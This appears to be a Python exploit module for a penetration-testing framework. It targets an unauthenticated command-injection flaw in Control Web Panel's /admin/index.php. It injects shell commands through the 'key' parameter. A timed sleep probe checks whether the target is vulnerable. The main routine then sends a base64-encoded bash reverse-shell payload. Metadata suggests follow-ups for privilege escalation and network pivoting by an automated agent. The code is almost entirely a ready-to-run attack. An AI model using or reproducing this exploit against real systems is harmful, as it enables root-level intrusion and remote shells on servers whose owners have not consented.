Control Web Panel /admin/index.php Unauthenticated RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from core.framework.enums import PayloadType
import urllib.parse
import time
import random


class Module(Exploit, Http_client):

    __info__ = {
        "name": "Control Web Panel /admin/index.php Unauthenticated RCE",
        "description": """Control Web Panel (CWP) versions <= 0.9.8.1208 are vulnerable to
        unauthenticated OS command injection. User input passed via the
        "key" GET parameter to /admin/index.php (when the "api" parameter is set)
        is not properly sanitized before being used to execute OS commands.
        This can be exploited by unauthenticated attackers to inject and execute
        arbitrary OS commands with the privileges of the root user on the web server.

        Successful exploitation usually requires "Softaculous" and/or "SitePad"
        to be installed through the Scripts Manager.""",
        "author": [
            "KittySploit Team",
            "Egidio Romano"  # Vulnerability discovery
        ],
        "references": [
            ["CVE", "2025-67888"],
            ["URL", "https://karmainsecurity.com/KIS-2025-09"],
            ["URL", "https://www.cve.org/CVERecord?id=CVE-2025-67888"],
            ["URL", "https://control-webpanel.com"]
        ],
        "cve": ["CVE-2025-67888"],
        "arch": [Arch.X86, Arch.X64],
        "platform": Platform.LINUX,
        "category": PayloadCategory.SINGLE,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "type": PayloadType.CMD,
            "platform": [Platform.UNIX, Platform.LINUX],
            "category": PayloadCategory.SINGLE,
            "encoder": "encoders/cmd/base64",
            "badchars": "\x00\x20",
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    path = OptString("/admin/index.php", "Path to vulnerable endpoint", required=False)
    
    # Override default port for CWP (default is 2031)
    port = OptPort(2031, "Target port", True)

    def check(self):
        """
        Check if target is vulnerable by testing command injection with sleep
        """
        try:
            sleep_time = random.randint(5, 10)
            print_status(f"Checking vulnerability with sleep command (waiting {sleep_time} seconds)...")
            
            # Record start time
            start_time = time.time()
            
            # Send request with sleep command
            exploit_path = self.path if self.path else "/admin/index.php"
            # Construct GET parameters
            params = {
                'api': '1',
                'key': f"$(sleep {sleep_time})"
            }
            query_string = urllib.parse.urlencode(params)
            full_path = f"{exploit_path}?{query_string}"
            
            response = self.http_request(
                method="GET",
                path=full_path,
                allow_redirects=False,
                timeout=sleep_time + 5
            )
            
            # Calculate elapsed time
            elapsed_time = time.time() - start_time
            
            print_debug(f"Elapsed time: {elapsed_time:.2f} seconds")
            
            if not response:
                return {
                    'vulnerable': False,
                    'reason': 'No response from server',
                    'confidence': 'low'
                }
            
            # Check if server waited the expected time (vulnerable)
            if elapsed_time >= sleep_time:
                return {
                    'vulnerable': True,
                    'reason': f'Server waited {elapsed_time:.2f} seconds (expected >= {sleep_time})',
                    'confidence': 'high'
                }
            else:
                return {
                    'vulnerable': False,
                    'reason': f'Server responded in {elapsed_time:.2f} seconds (expected >= {sleep_time})',
                    'confidence': 'high'
                }
                
        except Exception as e:
            return {
                'vulnerable': False,
                'reason': f'Check failed: {str(e)}',
                'confidence': 'low'
            }

    def run(self):
        """
        Execute the exploit
        """
        try:
            print_status("Executing exploit...")
            
            # Get payload command (framework automatically generates it)
            command = self.payload
            
            print_debug(f"Executing command: {command}")
            
            # Execute command via command injection
            exploit_path = self.path if self.path else "/admin/index.php"
            # Construct GET parameters
            params = {
                'api': '1',
                'key': f"$({command})"
            }
            query_string = urllib.parse.urlencode(params)
            full_path = f"{exploit_path}?{query_string}"
            
            response = self.http_request(
                method="GET",
                path=full_path,
                allow_redirects=False,
                timeout=10
            )
            
            if response:
                print_success("Command executed successfully")
                self.vulnerable()
                return True
            else:
                print_error("No response from server")
                self.not_vulnerable()
                return False
                
        except Exception as e:
            print_error(f"Exploitation failed: {e}")
            return False